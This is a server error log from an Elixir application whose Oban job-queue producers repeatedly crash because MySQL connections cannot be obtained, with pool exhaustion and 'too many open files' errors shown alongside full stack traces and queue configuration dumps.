    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:46:41.240414Z], limit: 20, uuid: "2b65f36a-9d35-4cc0-b623-011161c18b94", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:41.240420Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.77386>, refresh_timer: #Reference<0.2525715032.1068498948.77378>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:46:41.240136Z], limit: 10, uuid: "c38cf7b4-eb6b-46eb-a71e-86e5bcaec2e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:41.240142Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221134>, refresh_timer: #Reference<0.2525715032.1121189889.221094>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:46:41.240413Z], limit: 5, uuid: "84acf9e3-745b-4356-ba20-92b55854cce9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:41.240419Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221135>, refresh_timer: #Reference<0.2525715032.1121189889.221100>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:46:41.241133Z], limit: 3, uuid: "3ea22f7c-630e-43cf-8751-e8042cf8c630", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:41.241138Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221136>, refresh_timer: #Reference<0.2525715032.1121189889.221116>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:46:41.240143Z], limit: 50, uuid: "9708afea-a010-48a1-809b-d957d07682fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:41.240151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221137>, refresh_timer: #Reference<0.2525715032.1099431938.68784>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:46:41.240854Z], limit: 5, uuid: "18507972-8db2-497c-85ae-72db759529bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:41.240860Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.77387>, refresh_timer: #Reference<0.2525715032.1077673987.54242>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:54.740000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:56.034000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:57.003000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:58.127000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:58.918000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:00.230000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:00.511000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:02.065000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:03.278000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:46:53.239706Z], limit: 50, uuid: "9ce0e9fe-cee1-4f2f-b272-74abfc67eaed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:53.239711Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.77571>, refresh_timer: #Reference<0.2525715032.1068498948.77545>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:46:53.240695Z], limit: 5, uuid: "1098603f-4b9b-4717-82a7-7f75a0e9e5a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:53.240700Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.221538>, refresh_timer: #Reference<0.2525715032.1068498948.77570>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
